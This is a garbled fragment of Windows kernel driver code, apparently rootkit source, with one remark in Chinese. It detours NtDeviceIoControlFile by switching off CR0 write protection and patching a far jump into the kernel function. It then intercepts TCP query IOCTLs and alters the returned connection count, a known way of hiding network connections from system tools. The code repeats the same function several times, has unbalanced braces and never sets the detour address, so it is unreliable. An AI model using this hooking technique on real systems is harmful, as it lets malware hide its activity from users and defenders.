// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
//////////////////////////
__asm
{
forwArd:
call bAck
}
实现了一个完整的cAll NtDeviceIoControlFile :>
__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
//////////////////////////
__asm
{
forwArd:
call bAck
}
/*
__asm
{
mov esp,ebp
pop ebp
ret 0x28
}
*/
//DbgPrint("once here :>\n");
__asm
{
mov rc,eax
}
if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
while(i<8)
{
DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
DbgPrint("\n");
if(p[i] != c[i])
{
return STATUS_UNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) NTAPI my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
//////////////////////////
__asm
{
forwArd:
call bAck
}
//DbgPrint("once here :>\n");
__asm
{
mov rc,eax
}
if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
//return(rc);
__asm
{
popad
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
//return(rc);
__asm
{
popad
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
}
//return(rc);
__asm
{
popad
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
char *actual_function = (char *)NtDeviceIoControlFile;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;
// assembles to jmp far 0008:11223344 where 11223344 is address of
// our detour function, plus one NOP to align up the patch
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 };
// reenter the hooked function at a location past the overwritten opcodes
// alignment is, of course, very important here
reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17;
// stamp in the target address of the far jmp
*( (unsigned long *)(&newcode[1]) ) = detour_address;
// now, stamp in the return jmp into our detour
// function
for(i=0;i<200;i++){
if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
{
// we found the address 0xAAAAAAAA
// stamp it w/ the correct address
*( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
break;
}
}
//TODO, raise IRQL
//overwrite the bytes in the kernel function
//to apply the detour jmp
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
for(i=8;i < 17;i++)
{
actual_function[i] = newcode[i-8];
}
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
//--------------------------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI
ZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
NTSTATUS NTAPI
myZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
typedef NTSTATUS (NTAPI *ZWDEVICEIOCONTROLFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
//--------------------------------------------------------------------
// jiurl // from addrconv.cpp
#define ntohs(s) ( ( ((s) >> 8) & 0x00FF ) | ( ((s) << 8) & 0xFF00 ) )
// jiurl // from tcpioctl.h tdiinfo.h tdistat.h
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//* Structure of an entity ID.
typedef struct TDIEntityID {
ULONG tei_entity;
ULONG tei_instance;
} TDIEntityID;
//* Structure of an object ID.
typedef struct TDIObjectID {
TDIEntityID toi_entity;
ULONG toi_class;
ULONG toi_type;
ULONG toi_id;
} TDIObjectID;
#define CONTEXT_SIZE 16
//
// QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer
// in the DeviceIoControl request. This structure is passed as the
// InputBuffer.
//
struct tcp_request_query_information_ex {
TDIObjectID ID; // object ID to query.
ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed
// for the first request.
};
#define tcpRtoAlgorithm_other 1 // none of the following
#define tcpRtoAlgorithm_constant 2 // a constant rto
#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B
#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm